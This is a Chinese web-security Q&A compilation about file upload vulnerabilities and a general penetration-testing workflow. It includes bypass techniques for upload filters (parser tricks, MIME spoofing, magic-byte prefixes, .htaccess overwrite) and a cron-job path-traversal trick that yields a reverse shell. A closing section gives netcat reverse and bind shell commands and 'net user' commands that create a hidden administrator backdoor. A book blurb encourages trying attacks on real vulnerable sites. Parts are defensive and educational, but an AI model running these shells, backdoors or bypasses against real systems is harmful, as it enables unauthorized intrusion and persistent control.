当前位置:首页 » 网页前端 » web渗透安全文件上传
扩展阅读
webinf下怎么引入js 2023-08-31 21:54:13
堡垒机怎么打开web 2023-08-31 21:54:11

web渗透安全文件上传

发布时间: 2023-07-11 04:53:07

❶ 【Web安全】先进技术WebSocket下安全测试

什么是WebSocket

WebSockets 是一种先进的技术。它可以在用户的浏览器和服务器之间打开交互式通信会话。允许浏览器和服务器建立单个TCP连接然后进行全双工异步通信档尘。允许实时更新,浏览器也无需向后台发送数百个新的HTTP 请求,所以对于web程序来说,WebSocket非常流行

在一次授权的APP渗透测试中,发现客服系统走的websocket

测试了几个功能,抓到了upload的websocket接口

经过测试 发现存在任意文件上传,且可以通过../../控制上传文件夹,文件名也没经过后端处理强制改名。

该站环境为Linux+nginx+各种前端框架堆起来的站,框架漏洞暂未发现,各个语言的后门也都不提供解析

也想过通过上传html来构造xss,但是该站行悔禅采用了authorization授权,xss暂时作用不大。

随后利用前拦上传"定时任务"成功获取了服务器权限。

利用过程:

../../../../../../../../../var/spool/cron/root 控制文件上传位置到定时任务处

上传反弹shell

nc监听 泡杯咖啡~静待一分钟

GetShell

❷ 常见36种WEB渗透测试漏洞描述及解决方法-文件上传

漏洞描述:文件上传漏洞通常由于网页代码中的文件上传路径变量过滤不严或webserver相关解析漏洞未修复而造成的,如果文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,攻击者可通过 Web 访问的目录上传任意文件,包括网站后门文件,进而远程控制网站服务器。

解决方法:

在前后端对上传文件类型限制,如后端的扩展名检测,重命名文件,MIME类型检测以及限制上传文件的大小,或将上传文件放在安全路径下;严格限制和校验上传的文件,禁止上传恶意代码的文件。同时限制相关目录的执行权限,防范webshell攻击;对上传文件格式进行严格校验及安全扫描,防止上传恶意脚本文件;设置权限限制,禁止上传目录的执行权限;严格限制可上传的文件类型;严格限制上传的文件路径;文件扩展名服务端白名单校验;文件内容服务端校验;上传文件重命名,并隐藏上传文件路径。

❸ 文件上传漏洞攻击方法有什么

文件上传漏洞是什么?怎样防御文件上传漏洞攻击?文件上传漏洞是web安全中经常利用到的一种漏洞形式。这种类型的攻击从大的类型上来说,是攻击 数据与代码分离原则 的一种攻击。
一些web应用程序中允许上传图片,文本或者其他资源到指定的位置,文件上传漏洞就是利用这些可以上传的地方将恶意代码植入到服务器中,再通过url去访问以执行代码
造成文件上传漏洞的原因是
对于上传文件的后缀名(扩展名)没有做较为严格的限制
对于上传文件的MIMETYPE 没有做检查
权限上没有对于上传的文件的文件权限,(尤其是对于shebang类型的文件)
对于web server对于上传文件或者指定目录的行为没有做限制
下面就闲话一些文件上传漏洞的防御方式和攻击者的绕过方式
1.前端限制
function check(){
var filename=document.getElementById("file");
var str=filename.value.split(".");
var ext=str[str.length-1];
if(ext=='jpg'||ext=='png'||ext=='jpeg'||ext=='gif'){
return true;
}else{
alert("这不是图片!")
return false;
}
return false;
}
在表单中使用onsumbit=check()调用js函数来检查上传文件的扩展名。这种限制实际上没有任何用处,任何攻击者都可以轻而易举的破解。只能用于对于用户完全信任的情况下,很难称之为一种安全措施只能称之是一种防止用户误操作上传的措施,
反制:
随便的编辑一下页面/用burpsuite/写个小脚本就可以突破之,无须多言
2.检查扩展名
顾名思义,就是在文件被上传到服务端的时候,对于文件名的扩展名进行检查,如果不合法,则拒绝这次上传
在这里,还有一点是值得一提的,在检查扩展名是否合法的时候,有两种策略
黑名单策略,文件扩展名在黑名单中的为不合法,示例代码
$postfix = end(explode('.','$_POST['filename']);
if($postfix=='php'||$postfix=='asp'||$postfix=='sh'){
echo "invalid file type";
return;
}
白名单策略,文件扩展名不在白名单中的均为不合法
$postfix = end(explode('.','$_POST['filename']);
if($postfix=='jpg'||$postfix=='png'||$postfix=='gif'){
//save the file and do something next
} else {
echo "invalid file type";
return;
}
白名单策略是更加安全的,通过限制上传类型为只有我们接受的类型,可以较好的保证安全,因为黑名单我们可以使用各种方法来进行注入和突破
反制
在一些 webserver 中,存在解析漏洞
1.老版本的IIS中的目录解析漏洞,如果网站目录中有一个 /.asp/目录,那么此目录下面的一切内容都会被当作asp脚本来解析
2.老板本的IIS中的分号漏洞:IIS在解析文件名的时候可能将分号后面的内容丢弃,那么我们可以在上传的时候给后面加入分号内容来避免黑名单过滤,如 a.asp;jpg
3.旧版Windows Server中存在空格和dot漏洞类似于 a.php. 和 a.php[空格] 这样的文件名存储后会被windows去掉点和空格,从而使得加上这两个东西可以突破过滤,成功上传,并且被当作php代码来执行
4.nginx空字节漏洞 xxx.jpg%00.php 这样的文件名会被解析为php代码运行
5.apache的解析漏洞,上传如a.php.rar a.php.gif 类型的文件名,可以避免对于php文件的过滤机制,但是由于apache在解析文件名的时候是从右向左读,如果遇到不能识别的扩展名则跳过,rar等扩展名是apache不能识别的,因此就会直接将类型识别为php,从而达到了注入php代码的目的
3.检查HTTP Header中的Content-Type
HTTP协议规定了上传资源的时候在Header中加上一项文件的MIMETYPE,来识别文件类型,这个动作是由浏览器完成的,服务端可以检查此类型不过这仍然是不安全的,因为HTTP header可以被发出者或者中间人任意的修改,不过加上一层防护也是可以有一定效果的
反制
使用各种各样的工具(如burpsuite)强行篡改Header就可以,太容易将header中的
Content-Type: application/php
或者其他类型
改为
Content-Type: image/jpg
Content-Type: image/png
Content-Type: text/plain
等这些web程序允许的泪洗改附上常用的MIMETYPE表
text/plain(纯文本)
text/html(HTML文档)
text/javascript(js代码)
application/xhtml+xml(XHTML文档)
image/gif(GIF图像)
image/jpeg(JPEG图像)
image/png(PNG图像)
video/mpeg(MPEG动画)
application/octet-stream(二进制数据)
application/pdf(PDF文档)
application/(编程语言) 该种语言的代码
application/msword(Microsoft Word文件)
message/rfc822(RFC 822形式)
multipart/alternative(HTML邮件的HTML形式和纯文本形式,相同内容使用不同形式表示)
application/x-www-form-urlencoded(POST方法提交的表单)
multipart/form-data(POST提交时伴随文件上传的表单)
4.分析文件头内容来检查文件类型
与方法2不同,还有一种检查类型的方式是使用对于文件内容的验证机制,这种方法利用的是每一个特定类型的文件都会有不太一样的开头或者标志位。可以通过比如php的exif_imagetype()函数,一个通过这种方法来过滤的示例代码如下:
if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
echo "File is not an image";
return;
}
也可以自己编写函数来进行识别,图片文件通常有称作幻数的头字节,我们来看一下几种图片文件的幻数:
(注意!下面是二进制而不是文本格式的数据)
JPG
FF D8 FF E0 00 10 4A 46 49 46
GIF
47 49 46 38 39 61
(相当于文本的GIF89a)
PNG
89 50 4E 47
通过检查头几位字节,可以分辨是否是图片文件
如果是其他类型的二进制文件,也有响应的头字节,如下表
反制
给上传脚本加上相应的幻数头字节就可以,php引擎会将
(一般不限制图片文件格式的时候使用GIF的头比较方便,因为全都是文本可打印字符。)
GIF89a
do_something();
?>
如果是其他类型的二进制文件,也有响应的头字节,如下表
格式
文件头
TIFF (tif)
49492A00
Windows Bitmap (bmp)
424D
CAD (dwg)
41433130
Adobe Photoshop (psd)
38425053
Rich Text Format (rtf)
7B5C727466
MS Word/Excel (xls.or.doc)
D0CF11E0
MS Access (mdb)
5374616E64617264204A
ZIP Archive (zip),
504B0304
RAR Archive (rar),
7221
Wave (wav),
57415645
AVI (avi),
41564920
Real Media (rm),
2E524D46
MPEG (mpg),
000001BA
MPEG (mpg),
000001B3
Quicktime (mov),
6D6F6F76
Adobe Acrobat (pdf),
255044462D312E
Windows Media (asf),
3026B2758E66CF11
MIDI (mid),
4D546864
5.限制Web Server对于特定类型文件的行为
导致文件上传漏洞的根本原因在于服务把用户上传的本应是数据的内容当作了代码,一般来说,用户上传的内容都会被存储到特定的一个文件夹下,比如我们很多人习惯于放在 ./upload/ 下面要防止数据被当作代码执行,我们可以限制web server对于特定文件夹的行为。
大多数服务端软件都可以支持用户对于特定类型文件的行为的自定义,以Apache为例:
在默认情况下,对与 .php文件Apache会当作代码来执行,对于 html,css,js文件,则会直接由HTTP Response交给客户端程序对于一些资源文件,比如txt,doc,rar等等,则也会以文件下载的方式传送的客户端。我们希望用户上传的东西仅仅当作资源和数据而不能当作代码
因此可以使用服务器程序的接口来进行限制
以Apache为例,我们可以利用 .htaccess 文件机制来对web server行为进行限制
在这里插一句,如果不是专门的文件下载目录,请务必关掉文件夹浏览的权限,以防止嗅探和可能的越权,也是使用.htaccess文件,在其中加上一句
Options All -Indexes
即可。
禁止脚本执行有多种方式可以实现,而且分别有不同的效果,我们分别来看一下
1.指定特定扩展名的文件的处理方式,原理是指定Response的Content-Type可以加上如下几行
AddType text/plain .pl .py .php
这种情况下,以上几种脚本文件会被当作纯文本来显示出来,你也可以换成其他的Content-Type
2.如果要完全禁止特定扩展名的文件被访问,用下面的几行
Options -ExecCGI
AddHandler cgi-script .php .pl .py .jsp .asp .htm .shtml .sh .cgi识别
在这种情况下,以上几种类型的文件被访问的时候,会返回403 Forbidden的错误
3.也可以强制web服务器对于特定文件类型的处理,与第一条不同的是, 下面的方法直接强行让apache将文件识别为你指定的类型,而第一种是让浏览器
ForceType text/plain
看代码就可以很明白的知道,符合上面正则的全部被认为是纯文本,也可以继续往里面加入其他类型。
4.只允许访问特定类型的文件
order deny,allow
deny from all
在一个上传图片的文件夹下面,就可以加上这段代码,使得该文件夹里面只有图片扩展名的文件才可以被访问,其他类型都是拒绝访问。
这又是一个白名单的处理方案
永远记得,白名单是最有保障的安全措施

可以通过 move_uploaded_file 函数把自己写的.htaccess 文件上传,覆盖掉服务器上的文件,来定义文件类型和执行权限如果做到了这一点,将获得相当大的权限。

❹ Web渗透技术及实战案例解析的内容简介

本书从Web渗透的专业角度,结合网络安全中的实际案例,图文并茂地再现Web渗透的精彩过程。本书共分7章,由浅入深地介绍和分析了目前网络流行的Web渗透攻击方法和手段,并结合作者多年的网络安全实践经验给出了相对应的安全防范措施,对一些经典案例还给出了经验总结和技巧,通过阅读本书可以快速掌握目前Web渗透的主流技术。本书最大的特色就是实用和实战性强,思维灵活。内容主要包括Web渗透必备技术、Google黑客技术、文件上传渗透技术、sql注入、高级渗透技术、0day攻击和Windows提权与安全防范等。
前言
经过近一年时间的艰辛苦战,终于将本书完成。本书是我写的第三本书,主要从Web渗透的专业角度来讨论网络安全的攻防技术,尽可能地再现Web渗透场景,每一个小节都代表某一个场景,此书是我工作数年的总结,最后终于不辱使命将所有成果放在本书中与大家分享。
本书是在我上一本书《黑客攻防及实战案例解析》基础上的又一本安全类书籍,主要讨论Web渗透攻防技术。攻击与防护是辩证统一的关系,掌握了攻击技术,也就掌握了防护技术。Web渗透是网络安全攻防的最热门技术,通过渗透Web服务器,利用已有信息,逐渐深入公司或者大型网络,最终完成渗透目标。
最近二年来网络安全特别火爆,可以说从事网络安全还是蛮有前途的职业之一。目前网络安全界非常缺人,特别是在2011年CSDN、天涯等大型网站用户数据库泄露后,各大公司对安全人士求贤若渴,掌握网络安全攻防技术,拥有丰富经验的从业人员,年薪一般在10万以上,能够独立挖掘漏洞的从业人员年薪一般在20万以上。其实Web安全渗透技术也不是那么高不可攀,只要自己锁定这个方向,持之以恒,不断地进行试验和研究,终将成为一名高手,而且安全攻防技术还跟学历无关,很多技术高手都没有上过大学。
Web渗透攻防技术可以通过以下方法来自学,一是通过安全站点漏洞更新通告、安全文章,了解漏洞的形成原理和利用过程,掌握漏洞的核心原理;二是在本地搭建试验环境进行实际测试,掌握漏洞利用方法;三是在互联网上对存在漏洞的站点进行实际操作,在真实环境下进行验证,提出修补漏洞的方法。在技术研究的同时还要做好记录,总结失败和成功的方法,积累技巧和经验,我曾经看过一位牛人,Web漏洞收集超过10GB数据!
本书以Web渗透攻击与防御为主线,主要通过典型的渗透实际案例来介绍Web渗透和防御技术,在每一个小节中除了技术原理外,还对这些技术进行总结和提炼,掌握和理解这些技术后,读者在遇到类似的渗透场景时可以自己去进行渗透。本书采用最为通俗易懂的图文解说,按照书中的步骤即可还原当时的攻防情景。通过阅读本书,初学者可以很快掌握Web攻防的流程、最新的一些技术和方法,有经验的读者可以在技术上更上一层楼,使攻防技术从理论和实践中更加系统化,同时可以使用本书中介绍的一些防御方法来加固服务器系统。
本书共分为7章,由浅入深,依照Web攻防的一些技术特点安排内容,每一小节都是一个具体Web攻防技术的典型应用,同时结合案例给予讲解,并给出一些经典的总结。本书主要内容安排如下。
第1章 Web渗透必备技术
介绍Web渗透的一些必备的基本知识,创建和使用VPN隐藏自己,获取操作系统密码、破解MD5密码、破解MySQL密码、数据库还原等,这些技术可以在Web渗透中使用,也可以在网络管理中使用。
第2章 Google——我爱你又恨你
利用Google等搜索引擎技术来获取信息,辅助Web渗透,在某些场景中往往会起到意想不到的效果,也被称为Nday攻击(0day后的数天持续攻击)。在进行Web攻防技术研究的同时,可以通过Google来进行实际演练,最好的效果就是网上爆出漏洞后利用Goolge技术来抓肉鸡。
第3章 都是上传惹的祸
上传是Web渗透中最容易获得WebShell的捷径之一,在本章中介绍了如何利用WebEditor、FCKeditor、CuteEditor等典型编辑器漏洞来获取WebShell的方法,同时还对登录绕过后通过Flash上传、文件上传等方法来获取WebShell进行探讨。
第4章 SQL注入——渗透主乐章
SQL注入是Web渗透的核心技术,本章主要介绍使用SQL注入方法获取WebShell,穿插介绍使用多种扫描软件、攻击工具来渗透Web服务器并提权。
第5章 高级渗透技术
本章介绍如何充分利用多种技术组合,结合巧妙的思路,最终成功渗透一些高难度的Web服务器。
第6章 0day攻击
0day是Web渗透中的“神器”,几乎是无往不胜,所向披靡,本章介绍利用Discuz!6.0、Discuz!7.2、Discuz!NT、PHP168、WordPress、Citrix、Art2008cms、Phpcms2008sp4等0day渗透Web服务器的一些方法。
第7章 Windows提权与安全防范
获取WebShell后,获得服务器权限一直是Web渗透的终极目标,本章对主流的一些提权方法进行介绍,掌握这些方法和原理后,可以举一反三,触类旁通。最后还对如何设置一个安全“变态”的Web服务器进行介绍。
虽然本书内容已经很丰富与完整,但仍然无法涵盖所有的Web渗透的技术,但通过本书的学习,可以快速了解和掌握Web渗透技术,加固自己的服务器。本书的目的是通过Web渗透技术并结合一些案例来探讨网络安全,更好地加固Web服务器、远离黑客的威胁。

❺ 如何在Web页上实现文件上传

JAVA WEB文件上传步骤如下:
实现 Web 开发中的文件上传功能,两个操作:在 Web 页面添加上传输入项,在 Servlet 中读取上传文件的数据并保存在本地硬盘中。
1、Web 端上传文件。在 Web 页面中添加上传输入项:<input type="file"> 设置文件上传输入项时应注意:(1) 必须设置 input 输入项的 name 属性,否则浏览器将不会发送上传文件的数据。(2) 必须把 form 的 enctype 属性设为 multipart/form-data,设置该值后,浏览器在上传文件时,将把文件数据附带在 http 请求消息体中,并使用 MIME 协议对上传文件进行描述,以方便接收方对上传数据进行解析和处理。(3) 表单提交的方式要是 post

❻ 什么是文件上传漏洞

文件上传漏洞:
允许用户上传任意文件可能会让攻击者注入危险内容或恶意代码,并在服务器上运行。

任意文件上传漏洞原理:
由于文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,导致允许攻击者向 某个可通过 Web 访问的目录上传任意PHP 文件,并能够将这些文件传递给 PHP 解释器,就 可以在远程服务器上执行任意PHP 脚本。

❼ web渗透是什么

Web渗透测试分为白盒测试和黑盒测试,白盒测试是指目标网站的源码等信息的情况下对其渗透,相当于代码分析审计。而黑盒测试则是在对该网站系统信息不知情的情况下渗透,以下所说的Web渗透就是黑盒渗透。

Web渗透分为以下几个步骤,信息收集,漏洞扫描,漏洞利用,提权,内网渗透,留后门,清理痕迹。一般的渗透思路就是看是否有注入漏洞,然后注入得到后台管理员账号密码,登录后台,上传小马,再通过小马上传大马,提权,内网转发,进行内网渗透,扫描内网c段存活主机及开放端口,看其主机有无可利用漏洞(nessus)端口(nmap)对应服务及可能存在的漏洞,对其利用(msf)拿下内网,留下后门,清理痕迹。或者看是否有上传文件的地方,上传一句话木马,再用菜刀链接,拿到数据库并可执行cmd命令,可继续上大马.........思路很多,很多时候成不成功可能就是一个思路的问题,技术可以不高,思路一定得骚。

信息收集

信息收集是整个流程的重中之重,前期信息收集的越多,Web渗透的成功率就越高。

DNS域名信息:通过url获取其真实ip,子域名(Layer子域名爆破机),旁站(K8旁站,御剑1.5),c段,网站负责人及其信息(whois查询)

整站信息:服务器操作系统、服务器类型及版本(Apache/Nginx/Tomcat/IIS)、数据库类型(Mysql/Oracle/Accees/Mqlserver)、脚本类型(php/jsp/asp/aspx)、CMS类型;

网站常见搭配为:

ASP和ASPX:ACCESS、SQLServer

PHP:MySQL、PostgreSQL

JSP:Oracle、MySQL

敏感目录信息(御剑,dirbust)

开放端口信息(nmp)

漏洞扫描

利用AWVS,AppScan,OWASP-ZAP,等可对网站进行网站漏洞的初步扫描,看其是否有可利用漏洞。

常见漏洞:

SQL注入

XSS跨站脚本

CSRF跨站请求伪造

XXE(XML外部实体注入)漏洞

SSRF(服务端请求伪造)漏洞

文件包含漏洞

文件上传漏洞

文件解析漏洞

远程代码执行漏洞

CORS跨域资源共享漏洞

越权访问漏洞

目录遍历漏洞和任意文件读取/下载漏洞

漏洞利用

用工具也好什么也好对相应漏洞进行利用

如:

Sql注入(sqlmap)

XSS(BEEF)

后台密码爆破(burp)

端口爆破(hydra)

提权

获得shell之后我们权限可能很低,因此要对自己提权,可以根据服务器版本对应的exp进行提权,对于Windows系统也可看其补丁对应漏洞的exp进行提权

内网渗透

首先进行端口转发可用nc

nc使用方法:

反向连接

在公网主机上进行监听:

nc-lvp 4444

在内网主机上执行:

nc-e cmd.exe 公网主机ip4444

成功之后即可得到一个内网主机shell

正向连接

远程主机上执行:

nc-l -p 4444 -t -e cmd.exe

本地主机上执行:

nc-vv 远程主机ip4444

成功后,本地主机即可远程主机的一个shell

然后就是对内网进行渗透了,可以用主机漏洞扫描工具(nessus,x-scan等)进行扫描看是否有可用漏洞,可用msf进行利用,或者用nmap扫描存活主机及开放端口,可用hydra进行端口爆破或者用msf对端口对应漏洞得到shell拿下内网留后门

留后门

对于网站上传一句话木马,留下后门

对于windows用户可用hideadmin创建一个超级隐藏账户

手工:

netuser test$ 123456 /add

netlocalgroup administrators test$ /add

这样的话在cmd命令中看不到,但在控制面板可以看到,还需要改注册表才能实现控制版面也看不到,太过麻烦,不多赘述,所以还是用工具省心省力。